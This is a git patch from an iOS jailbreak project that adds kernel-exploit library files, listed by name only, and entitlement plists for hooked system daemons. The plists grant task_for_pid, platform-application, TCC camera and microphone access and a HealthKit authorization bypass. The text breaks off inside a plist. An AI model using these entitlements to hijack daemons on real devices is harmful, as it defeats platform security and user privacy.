From 9c34090461b7897548218571bcead7d1c45ebd76 Mon Sep 17 00:00:00 2001
From: hrtowii <68852354+hrtowii@users.noreply.github.com>
Date: Sat, 20 Jul 2024 16:15:20 +0800
Subject: [PATCH] tried to put kfd in launchd but it doesn't work :/
---
.../launchdshim/cfprefsdshim/ent.plist | 6 +-
.../generalhook/installdents.plist | 107 +-
.../generalhook/mediaserverdents.plist | 501 +++++
.../launchdshim/generalhook/nfcdents.plist | 217 ++
.../launchdhook/.vscode/settings.json | 17 +
.../launchdshim/launchdhook/Makefile | 4 +-
.../launchdshim/launchdhook/choma/Base64.h | 11 +
.../launchdhook/choma/BufferedStream.h | 19 +
.../launchdshim/launchdhook/choma/CSBlob.h | 108 +
.../launchdhook/choma/CodeDirectory.h | 53 +
.../launchdshim/launchdhook/choma/FAT.h | 41 +
.../launchdhook/choma/FileStream.h | 21 +
.../launchdshim/launchdhook/choma/Host.h | 10 +
.../launchdshim/launchdhook/choma/MachO.h | 62 +
.../launchdhook/choma/MachOByteOrder.h | 164 ++
.../launchdhook/choma/MachOLoadCommand.h | 16 +
.../launchdhook/choma/MemoryStream.h | 60 +
.../launchdhook/choma/PatchFinder.h | 44 +
.../launchdshim/launchdhook/choma/SignOSSL.h | 16 +
.../launchdshim/launchdhook/choma/Signing.h | 12 +
.../launchdshim/launchdhook/choma/Util.h | 6 +
.../launchdshim/launchdhook/crashreporter.h | 46 +
.../launchdshim/launchdhook/crashreporter.m | 390 ++++
.../launchdshim/launchdhook/fun/cs_blobs.h | 17 +
.../launchdhook/fun/kpf/libdimentio.h | 100 +
.../launchdhook/fun/kpf/libdimentio.m | 1868 +++++++++++++++++
.../launchdhook/fun/kpf/patchfinder.h | 53 +
.../launchdhook/fun/kpf/patchfinder.m | 207 ++
.../launchdhook/fun/kpf/patchfinder64.h | 42 +
.../launchdhook/fun/kpf/patchfinder64.m | 1452 +++++++++++++
.../launchdshim/launchdhook/fun/kpf/proc.c | 103 +
.../launchdshim/launchdhook/fun/kpf/proc.h | 14 +
.../launchdshim/launchdhook/fun/krw.h | 44 +
.../launchdshim/launchdhook/fun/krw.m | 343 +++
.../launchdhook/fun/memoryControl.h | 40 +
.../launchdhook/fun/memoryControl.m | 23 +
.../launchdshim/launchdhook/fun/offsets.h | 104 +
.../launchdshim/launchdhook/fun/offsets.m | 326 +++
.../launchdshim/launchdhook/fun/proc.c | 103 +
.../launchdshim/launchdhook/fun/proc.h | 14 +
.../launchdshim/launchdhook/fun/vnode.h | 135 ++
.../launchdshim/launchdhook/fun/vnode.m | 642 ++++++
.../launchdhook/jbserver/bsm/audit.h | 382 ++++
.../launchdhook/jbserver/bsm/audit_filter.h | 80 +
.../launchdhook/jbserver/bsm/audit_session.h | 162 ++
.../launchdhook/jbserver/bsm/audit_uevents.h | 144 ++
.../launchdhook/jbserver/bsm/libbsm.h | 378 ++++
.../launchdhook/jbserver/codesign.h | 64 +
.../launchdhook/jbserver/exec_patch.h | 14 +
.../launchdhook/jbserver/exec_patch.m | 74 +
.../launchdshim/launchdhook/jbserver/info.c | 420 ++++
.../launchdshim/launchdhook/jbserver/info.h | 538 +++++
.../launchdhook/jbserver/jbclient_xpc.c | 585 ++++++
.../launchdhook/jbserver/jbclient_xpc.h | 44 +
.../jbserver/jbdomain_systemwide.c | 356 ++++
.../launchdhook/jbserver/jbserver.c | 124 ++
.../launchdhook/jbserver/jbserver.h | 101 +
.../launchdhook/jbserver/jbserver_global.c | 16 +
.../launchdshim/launchdhook/jbserver/kernel.c | 218 ++
.../launchdshim/launchdhook/jbserver/kernel.h | 65 +
.../launchdhook/jbserver/libproc.h | 128 ++
.../launchdhook/jbserver/libproc_private.h | 27 +
.../launchdshim/launchdhook/jbserver/log.c | 108 +
.../launchdshim/launchdhook/jbserver/log.h | 14 +
.../launchdhook/jbserver/machine_info.h | 56 +
.../jbserver/primitives_external.h | 33 +
.../launchdshim/launchdhook/jbserver/pte.h | 105 +
.../launchdshim/launchdhook/jbserver/pvh.h | 24 +
.../launchdhook/jbserver/sandbox.h | 123 ++
.../launchdhook/jbserver/translation.c | 186 ++
.../launchdhook/jbserver/translation.h | 13 +
.../launchdshim/launchdhook/jbserver/util.c | 885 ++++++++
.../launchdshim/launchdhook/jbserver/util.h | 90 +
.../launchdhook/jbserver/xpc_private.h | 16 +
.../launchdshim/launchdhook/libkfd.h | 222 ++
.../launchdshim/launchdhook/libkfd/common.h | 212 ++
.../launchdshim/launchdhook/libkfd/info.h | 189 ++
.../launchdhook/libkfd/info/dynamic_info.h | 140 ++
.../launchdhook/libkfd/info/static_info.h | 744 +++++++
.../launchdshim/launchdhook/libkfd/krkw.h | 266 +++
.../krkw/kread/kread_kqueue_workloop_ctl.h | 108 +
.../libkfd/krkw/kread/kread_sem_open.h | 253 +++
.../libkfd/krkw/kwrite/kwrite_dup.h | 145 ++
.../libkfd/krkw/kwrite/kwrite_sem_open.h | 86 +
.../launchdshim/launchdhook/libkfd/perf.h | 323 +++
.../launchdshim/launchdhook/libkfd/puaf.h | 159 ++
.../launchdhook/libkfd/puaf/landa.h | 195 ++
.../launchdhook/libkfd/puaf/physpuppet.h | 117 ++
.../launchdhook/libkfd/puaf/smith.h | 607 ++++++
.../launchdshim/launchdhook/main.m | 240 ++-
.../launchdshim/launchdhook/unsandbox.h | 106 +
.../launchdshim/launchdhook/unsandbox.m | 102 +
.../launchdshim/launchdhook/unsandbox1.m | 234 +++
.../launchdshim/launchdhook/unsandbox2.m | 270 +++
.../launchdshim/launchdhook/xpc_hook.c | 52 +
.../launchdshim/launchdhook/xpc_hook.h | 1 +
.../launchdshim/xpcproxyhook/xpcproxyhook.m | 45 +-
RootHelperSample/main.m | 39 +-
Serotonin.xcodeproj/project.pbxproj | 12 +-
99 files changed, 17800 insertions(+), 201 deletions(-)
create mode 100644 RootHelperSample/launchdshim/generalhook/mediaserverdents.plist
create mode 100644 RootHelperSample/launchdshim/generalhook/nfcdents.plist
create mode 100644 RootHelperSample/launchdshim/launchdhook/.vscode/settings.json
create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/Base64.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/BufferedStream.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/CSBlob.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/CodeDirectory.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/FAT.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/FileStream.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/Host.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/MachO.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/MachOByteOrder.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/MachOLoadCommand.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/MemoryStream.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/PatchFinder.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/SignOSSL.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/Signing.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/choma/Util.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/crashreporter.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/crashreporter.m
create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/cs_blobs.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/kpf/libdimentio.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/kpf/libdimentio.m
create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder.m
create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder64.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder64.m
create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/kpf/proc.c
create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/kpf/proc.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/krw.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/krw.m
create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/memoryControl.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/memoryControl.m
create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/offsets.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/offsets.m
create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/proc.c
create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/proc.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/vnode.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/fun/vnode.m
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_filter.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_session.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_uevents.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/bsm/libbsm.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/codesign.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/exec_patch.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/exec_patch.m
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/info.c
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/info.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/jbclient_xpc.c
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/jbclient_xpc.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/jbdomain_systemwide.c
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/jbserver.c
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/jbserver.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/jbserver_global.c
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/kernel.c
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/kernel.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/libproc.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/libproc_private.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/log.c
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/log.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/machine_info.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/primitives_external.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/pte.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/pvh.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/sandbox.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/translation.c
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/translation.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/util.c
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/util.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/jbserver/xpc_private.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/common.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/info.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/info/dynamic_info.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/info/static_info.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/krkw.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kread/kread_kqueue_workloop_ctl.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kread/kread_sem_open.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kwrite/kwrite_dup.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kwrite/kwrite_sem_open.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/perf.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/puaf.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/puaf/landa.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/puaf/physpuppet.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/libkfd/puaf/smith.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/unsandbox.h
create mode 100644 RootHelperSample/launchdshim/launchdhook/unsandbox.m
create mode 100644 RootHelperSample/launchdshim/launchdhook/unsandbox1.m
create mode 100644 RootHelperSample/launchdshim/launchdhook/unsandbox2.m
create mode 100644 RootHelperSample/launchdshim/launchdhook/xpc_hook.c
create mode 100644 RootHelperSample/launchdshim/launchdhook/xpc_hook.h
diff --git a/RootHelperSample/launchdshim/cfprefsdshim/ent.plist b/RootHelperSample/launchdshim/cfprefsdshim/ent.plist
index d7979979..9cc64c80 100644
--- a/RootHelperSample/launchdshim/cfprefsdshim/ent.plist
+++ b/RootHelperSample/launchdshim/cfprefsdshim/ent.plist
@@ -8,6 +8,10 @@
get-task-allow
+ platform-application
+
+ task_for_pid-allow
+
com.apple.private.MobileContainerManager.otherIdLookup
com.apple.private.security.storage.CoreRoutine
@@ -26,7 +30,5 @@
systemgroup.com.apple.cfpreferences.managed
- platform-application
-
diff --git a/RootHelperSample/launchdshim/generalhook/installdents.plist b/RootHelperSample/launchdshim/generalhook/installdents.plist
index 648b8028..c09f9179 100644
--- a/RootHelperSample/launchdshim/generalhook/installdents.plist
+++ b/RootHelperSample/launchdshim/generalhook/installdents.plist
@@ -2,110 +2,15 @@
- platform-application
-
- com.apple.private.security.no-container
-
- get-task-allow
-
- task_for_pid-allow
-
- com.apple.private.security.no-sandbox
-
- com.apple.private.domain-extension
-
- com.apple.private.security.container-required
-
com.apple.private.security.no-container
- com.apple.private.xpc.domain-extension
-
- com.apple.private.xpc.domain-extension.proxy
-
- com.apple.private.xpc.launchd.app-state-manager
-
- com.apple.private.xpc.launchd.enable-disable-system-services
-
- com.apple.private.xpc.launchd.event-monitor
-
- com.apple.private.xpc.launchd.loginitem-bootstrapper
-
- com.apple.private.xpc.launchd.loginitem-outside-bundle
-
- com.apple.private.xpc.launchd.obliterator
-
- com.apple.private.xpc.launchd.per-user-create.mbsetupuser
-
- com.apple.private.xpc.launchd.per-user-lookup
-
- com.apple.private.xpc.launchd.reboot
-
- com.apple.private.xpc.launchd.service-hold
-
- com.apple.private.xpc.launchd.userspace-reboot
-
- com.apple.private.xpc.launchd.userspace-reboot-now
-
- com.apple.private.xpc.persona-creator
-
- com.apple.private.xpc.persona-manager
+ com.apple.private.security.storage.AppDataContainers
- com.apple.private.persona-mgmt
-
- com.apple.private.xpc.service-attach
-
- com.apple.private.xpc.service-configure
-
- com.apple.private.set-launch-type.internal
-
- com.apple.security.exception.mach-lookup.global-name
-
- com.apple.mmaintenanced
- com.apple.memory-maintenance
-
- com.apple.apfs.get-dev-by-role
-
- com.apple.private.amfi.can-allow-non-platform
-
- com.apple.private.iokit.system-nvram-allow
-
- com.apple.private.kernel.system-override
-
- com.apple.private.pmap.load-trust-cache
-
- cryptex1.boot.os
- cryptex1.boot.app
- cryptex1.safari-downlevel
-
- com.apple.private.record_system_event
-
- com.apple.private.roots-installed-read-write
-
- com.apple.private.security.disk-device-access
-
- com.apple.private.security.storage.driverkitd
-
- com.apple.private.security.storage.launchd
-
- com.apple.private.security.system-mount-authority
-
- com.apple.private.set-atm-diagnostic-flag
-
- com.apple.private.spawn-panic-crash-behavior
-
- com.apple.private.spawn-subsystem-root
-
- com.apple.private.vfs.allow-low-space-writes
-
- com.apple.private.vfs.graftdmg
-
- com.apple.private.vfs.pivot-root
-
- com.apple.rootless.restricted-block-devices
+ get-task-allow
- com.apple.rootless.storage.early_boot_mount
+ platform-application
- com.apple.rootless.volume.Preboot
+ task_for_pid-allow
com.apple.security.network.server
@@ -148,9 +53,5 @@
2033844765
keychain-cloud-circle
- seatbelt-profiles
-
- installd
-
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/generalhook/mediaserverdents.plist b/RootHelperSample/launchdshim/generalhook/mediaserverdents.plist
new file mode 100644
index 00000000..7fe12e60
--- /dev/null
+++ b/RootHelperSample/launchdshim/generalhook/mediaserverdents.plist
@@ -0,0 +1,501 @@
+
+
+
+
+ application-identifier
+ com.apple.lskdd
+ checklessPersistentURLTranslation
+
+ com.apple.BTServer.le
+
+ com.apple.BluetoothServices
+
+ com.apple.BluetoothServices.cloud
+
+ com.apple.CommCenter.fine-grained
+
+ spi
+
+ com.apple.CompanionLink
+
+ com.apple.MFAAuthentication
+
+ certificate-auth
+ pairing
+ token-auth
+
+ com.apple.MediaGroups.client
+
+ com.apple.MediaGroups.groups
+
+ com.apple.media-group.solo-HomePodAccessory
+ com.apple.media-group.solo-SpeakerAccessory
+ com.apple.media-group.solo-AudioReceiverAccessory
+ com.apple.media-group.PSG
+ com.apple.media-group.media-system
+ com.apple.media-group.room
+
+ com.apple.MobileAsset.VoiceTriggerAssetsWatch
+
+ com.apple.PairingManager.HomeKit
+
+ com.apple.PairingManager.Read
+
+ com.apple.PairingManager.Write
+
+ com.apple.QuartzCore.displayable-context
+
+ com.apple.QuartzCore.secure-mode
+
+ com.apple.TapToRadarKit.service-access
+
+ com.apple.airplay.receivercontroller
+
+ com.apple.aned.private.allow
+
+ com.apple.aop.fastpath.user-client
+
+ imu800
+
+ read
+
+
+
+ com.apple.aop.hid-device.user-client
+
+ gesture
+
+ send-command
+
+
+ orientation
+
+ send-command
+
+
+
+ com.apple.appleneuralengine.private.allow
+
+ com.apple.assistant.dictation.prerecorded
+
+ com.apple.avfoundation.allow-video-data-output-to-change-output-dimensions
+
+ com.apple.backboard.client
+
+ com.apple.backboardd.estimatedProximityDetection
+
+ com.apple.backboardd.launchapplications
+
+ com.apple.backboardd.virtualDisplay
+
+ com.apple.bluetooth.internal
+
+ com.apple.bluetooth.system
+
+ com.apple.camera.iokit-user-access
+
+ com.apple.cards.all-access
+
+ com.apple.carousel.onWristMonitor.actions
+ monitor
+ com.apple.coreaudio.app-tap
+
+ com.apple.coreaudio.private.SystemWideTap
+
+ com.apple.coreaudio.register-internal-aus
+
+ com.apple.coreduetd.allow
+
+ com.apple.coreduetd.context
+
+ com.apple.corespeech.corespeechd.activation.xpc
+
+ com.apple.corespeech.xpc
+
+ com.apple.corespeechd.activation
+
+ com.apple.developer.device-information.user-assigned-device-name
+
+ com.apple.developer.driverkit.userclient-access
+
+ com.apple.DriverKit-AppleBCMWLAN
+
+ com.apple.developer.healthkit
+
+ com.apple.developer.networking.multipath
+
+ com.apple.developer.networking.route_nc_read
+
+ com.apple.driver.AppleBasebandPCI.user-access
+
+ com.apple.driver.AppleBasebandPCIControl.user-access
+
+ com.apple.driver.AppleConvergedIPCICEBB.user-access
+
+ com.apple.driver.AppleConvergedIPCICEBBControl.user-access
+
+ com.apple.frontboard.launchapplications
+
+ com.apple.frontboardservices.display-layout-monitor
+
+ com.apple.hid.manager.user-access-device
+
+ com.apple.hid.system.user-access-fast-path
+
+ com.apple.iaptransportd.clientport
+
+ com.apple.idle-timer-services
+
+ com.apple.itunesstored.private
+
+ com.apple.mediaanalysisd.client
+
+ com.apple.mediaremote.send-commands
+
+ com.apple.mkb.usersession.info
+
+ com.apple.multitasking.unlimitedassertions
+
+ com.apple.nano.nanoregistry.generalaccess
+
+ com.apple.nearbyinteraction.background
+
+ com.apple.networkd.set_source_application
+
+ com.apple.networkd_privileged
+
+ com.apple.private.CarPlayServices.app-history
+
+ com.apple.private.DistributedEvaluation.RecordAccess-com.apple.fides.borealis
+
+ com.apple.private.DistributedEvaluation.RecordAccess-com.apple.fides.phs
+
+ com.apple.private.FairPlayIOKitUserClient.access
+
+ com.apple.private.IOSurface.wiredSendRights
+
+ com.apple.private.MobileContainerManager.userManagedAssets
+
+ com.apple.private.MobileGestalt.AllowedProtectedKeys
+
+ SysCfgDict
+
+ com.apple.private.accessories.showallconnections
+
+ com.apple.private.allow-explicit-graphics-priority
+
+ com.apple.private.allow-external-storage
+
+ com.apple.private.aop-audio.user-access
+
+ com.apple.private.aop-envsense.user-access
+
+ com.apple.private.aop-voicetrigger.user-access
+
+ com.apple.private.assets.accessible-asset-types
+
+ com.apple.MobileAsset.VoiceTriggerAssets
+ com.apple.MobileAsset.RaiseToSpeakAssets
+ com.apple.MobileAsset.MXLongFormVideoAppsV2
+ com.apple.MobileAsset.AirPlayMobileAssetsV2
+ com.apple.MobileAsset.VoiceServicesVocalizerVoice
+ com.apple.MobileAsset.VoiceServices.CustomVoice
+ com.apple.MobileAsset.VoiceServices.GryphonVoice
+ com.apple.MobileAsset.VoiceServices.VoiceResources
+
+ com.apple.private.attribution.implicitly-assumed-identity
+
+ type
+ path
+ value
+ /usr/sbin/mediaserverd
+
+ com.apple.private.audio.driver-host
+
+ com.apple.private.audio.hal.aop-audio.user-access
+
+ com.apple.private.biome.read-write
+
+ ScreenRecording
+ ScreenSharing
+ Media.StreamingStats
+
+ com.apple.private.bmk.allow
+
+ com.apple.private.carkit
+
+ com.apple.private.carkit.carconnectiontime
+
+ com.apple.private.carkit.dnd
+
+ com.apple.private.cecd.control
+
+ com.apple.private.cecd.observer
+
+ com.apple.private.controlcenter.service.moduleidentifiers
+
+ com.apple.replaykit.VideoConferenceControlCenterModule
+ com.apple.replaykit.AudioConferenceControlCenterModule
+
+ com.apple.private.coreaudio.borrowaudiosession.allow
+
+ com.apple.private.coreaudio.rpbserver
+
+ com.apple.private.coreservices.canmaplsdatabase
+
+ com.apple.private.corespeech.voicetrigger_service
+
+ com.apple.private.corewifi
+
+ com.apple.private.dmd.policy
+
+ com.apple.private.driverkit.driver-access
+
+ com.apple.developer.driverkit.family.audio
+
+ com.apple.private.externalaccessory.showallaccessories
+
+ com.apple.private.healthkit
+
+ com.apple.private.healthkit.authorization_bypass
+
+ com.apple.private.healthkit.medicaliddata
+
+ com.apple.private.healthkit.source.default
+ com.apple.private.health.localdevice
+ com.apple.private.healthkit.zeppelin
+
+ com.apple.private.hid.client.event-monitor
+
+ com.apple.private.homehubd
+
+ endpoint-read
+
+ com.apple.private.ids.link-preferences
+
+ com.apple.private.ids.messaging
+
+ com.apple.private.alloy.fignero
+ com.apple.private.alloy.cmsession
+ com.apple.private.alloy.bluetooth.audio
+
+ com.apple.private.ids.messaging.high-priority
+
+ com.apple.private.alloy.cmsession
+ com.apple.private.alloy.bluetooth.audio
+
+ com.apple.private.ids.self-session
+
+ com.apple.private.alloy.fignero
+
+ com.apple.private.imcore.imremoteurlconnection
+
+ com.apple.private.kernel.audio_latency
+
+ com.apple.private.kernel.clpc-alt-control
+
+ com.apple.private.kernel.override-cpumon
+
+ com.apple.private.kernel.system-override
+
+ com.apple.private.kernel.work-interval
+
+ com.apple.private.lockdown.finegrained-get
+
+ NULL/TrustedHostAttached
+
+ com.apple.private.logging.stream
+
+ com.apple.private.master-sync-generator.user-access
+
+ com.apple.private.mediaexperience.allowwombatenabled
+
+ com.apple.private.nearbyinteraction.privileged
+
+ com.apple.private.necp.match
+
+ com.apple.private.network.interface-control
+
+ com.apple.private.network.socket-delegate
+
+ com.apple.private.nlcd-control
+
+ com.apple.private.ppm.client
+
+ com.apple.private.privacy.accounting.write
+
+ com.apple.private.proreshw
+
+ com.apple.private.rtcreportingd
+
+ com.apple.private.scodec-user-client.access
+
+ com.apple.private.security.storage.HomeAI
+
+ com.apple.private.security.storage.Photos
+
+ com.apple.private.security.system-async-io
+
+ com.apple.private.stackshot.stats
+
+ com.apple.private.system-keychain
+
+ com.apple.private.tcc.allow
+
+ kTCCServiceMicrophone
+ kTCCServiceCamera
+ kTCCServicePhotos
+ kTCCServiceMotion
+ kTCCServiceMediaLibrary
+
+ com.apple.private.tcc.manager.access.read
+
+ kTCCServiceSensorKitSpeechMetrics
+
+ com.apple.private.tcc.manager.check-by-audit-token
+
+ kTCCServiceMicrophone
+ kTCCServiceCamera
+ kTCCServicePhotos
+ kTCCServiceMotion
+ kTCCServiceMediaLibrary
+
+ com.apple.private.tcc.manager.get-identity-for-credential
+
+ com.apple.private.usernotifications.bundle-identifiers
+
+ com.apple.coreaudio.adam.hae
+ com.apple.coreaudio.adam.hae-watchos
+
+ com.apple.private.vfs.allow-low-space-writes
+
+ com.apple.private.virtio.sound.user-access
+
+ com.apple.proactive.eventtracker
+
+ com.apple.rapport.Client
+
+ com.apple.relatived.tempest
+
+ com.apple.rootless.storage.facekit
+
+ com.apple.runningboard.assertions.coremedia
+
+ com.apple.runningboard.cameracapture
+
+ com.apple.runningboard.mediaexperience
+
+ com.apple.runningboard.targetidentities
+
+ com.apple.security.device.audio-input
+
+ com.apple.security.exception.iokit-user-client-class
+
+ SCodecUserClient
+ AppleIPCAudioDeviceUserClient
+ AppleMSGKextUserClient
+ AppleMSGKextEPICUserClient
+ AppleSPUFastpathDriverUserClient
+
+ com.apple.security.exception.mach-lookup.global-name
+
+ com.apple.TapToRadarKit.service
+ com.apple.mmaintenanced
+ com.apple.memory-maintenance
+
+ com.apple.security.network.client
+
+ com.apple.security.network.server
+
+ com.apple.sensorkit.writer.allow
+
+ com.apple.SensorKit.speechMetrics.telephony
+ com.apple.SensorKit.speechEmotion.telephony
+ com.apple.SensorKit.soundDetection.telephony
+
+ com.apple.sharing.DeviceDiscovery
+
+ com.apple.siri.activation
+
+ com.apple.siri.external_request
+
+ com.apple.springboard.CFUserNotification
+
+ com.apple.springboard.externaldisplay.displayArrangements
+
+ com.apple.springboard.opensensitiveurl
+
+ com.apple.springboard.remote-alert
+
+ com.apple.springboard.thermalWarningSuppression
+
+ com.apple.symptom_analytics.query
+
+ com.apple.symptom_analytics.refresh
+
+ com.apple.symptom_diagnostics.report
+
+ com.apple.symptoms.NetworkOfInterest
+
+ com.apple.systemstatus.activityattribution
+
+ com.apple.systemstatus.publisher.domains
+ media
+ com.apple.tailspin.dump-output
+
+ com.apple.telephonyutilities.callservicesd
+
+ access-calls
+ modify-activity-session-airplay
+
+ com.apple.trial.client
+
+ 311
+ 312
+
+ com.apple.videoconference.allow-conferencing
+
+ com.apple.videotoolbox.hardwarevideodecoder
+
+ com.apple.videotoolbox.leghorn
+
+ com.apple.voiced.can-dump-audio
+
+ com.apple.voiceservices.tts
+
+ com.apple.voiceservices.tts.customvoice
+
+ com.apple.voicetrigger.voicetriggerservice
+
+ com.apple.wifi.manager-access
+
+ com.apple.wifip2pd
+
+ com.apple.wlan.authentication
+
+ fairplay-client
+ 883412483
+ keychain-access-groups
+
+ com.apple.airplay
+ com.apple.apsd
+ com.apple.cfnetwork
+ com.apple.identities
+ com.apple.airplay.pairing
+
+ lskdd-client
+ 898061433
+ secure-key-vault-client
+ 1994590856
+ com.apple.private.security.no-container
+
+ com.apple.private.security.storage.AppDataContainers
+
+ get-task-allow
+
+ platform-application
+
+ task_for_pid-allow
+
+
+
diff --git a/RootHelperSample/launchdshim/generalhook/nfcdents.plist b/RootHelperSample/launchdshim/generalhook/nfcdents.plist
new file mode 100644
index 00000000..7fa64535
--- /dev/null
+++ b/RootHelperSample/launchdshim/generalhook/nfcdents.plist
@@ -0,0 +1,217 @@
+
+
+
+
+ allow-softwareupdated
+
+ application-identifier
+ com.apple.nfcd
+ com.apple.CommCenter.fine-grained
+
+ spi
+
+ com.apple.SystemConfiguration.SCPreferences-read-access
+
+ com.apple.radios.plist
+
+ com.apple.accessibility.automation.client
+
+ com.apple.private.skip-library-validation
+
+ com.apple.coreduetd.allow
+
+ com.apple.coreduetd.context
+
+ com.apple.frontboardservices.display-layout-monitor
+
+ com.apple.iokit.wakerequest
+
+ com.apple.keystore.sik.access
+
+ com.apple.mobileactivationd.device-identifiers
+
+ com.apple.mobileactivationd.spi
+
+ com.apple.nfcd.event.notification
+
+ com.apple.nfcd.xpc.homed.uaevents
+
+ com.apple.nfrestore
+
+ com.apple.private.MobileGestalt.AllowedProtectedKeys
+
+ UniqueChipID
+ SerialNumber
+
+ com.apple.private.applecredentialmanager.allow
+
+ com.apple.private.applesmc.user-access
+
+ com.apple.private.applesse.allow
+
+ com.apple.private.assets.accessible-asset-types
+
+ com.apple.symptom_diagnostics
+ com.apple.MobileAsset.AppletTranslationLibraryAssets
+
+ com.apple.private.barcodesupport.allowNotifications
+
+ com.apple.private.biome.read-write
+
+ Device.Wireless.NFCTag
+
+ com.apple.private.coreservices.canmaplsdatabase
+
+ com.apple.private.hid.client.event-monitor
+
+ com.apple.private.mobilerepair.xpc
+
+ com.apple.private.ppm.client
+
+ com.apple.private.sandbox.profile:embedded
+ nfcd
+ com.apple.private.stockholm.allow
+
+ com.apple.security.attestation.access
+
+ com.apple.security.exception.files.absolute-path.read-only
+
+ /private/var/hardware/FactoryData/System/Library/Caches/
+
+ com.apple.security.exception.mach-lookup.global-name
+
+ com.apple.symptom_diagnostics
+ com.apple.mobilerepaird
+ com.apple.passd.nf-events
+ com.apple.nfcd.xpc.homed.uaevents
+ com.apple.biome.access.user
+ com.apple.biome.PublicStreamAccessService
+ com.apple.frontboard.systemappservices
+ com.apple.mmaintenanced
+ com.apple.memory-maintenance
+
+ com.apple.security.exception.shared-preference.read-write
+
+ com.apple.symptom_diagnostics
+ com.apple.stockholm.analytics
+ com.apple.ControlCenter
+ com.apple.homed
+
+ com.apple.security.system-groups
+
+ systemgroup.com.apple.osanalytics
+
+ com.apple.sharing.Client
+
+ com.apple.springboard.launchapplications
+
+ com.apple.springboard.opensensitiveurl
+
+ com.apple.sts.xpcservice.client
+
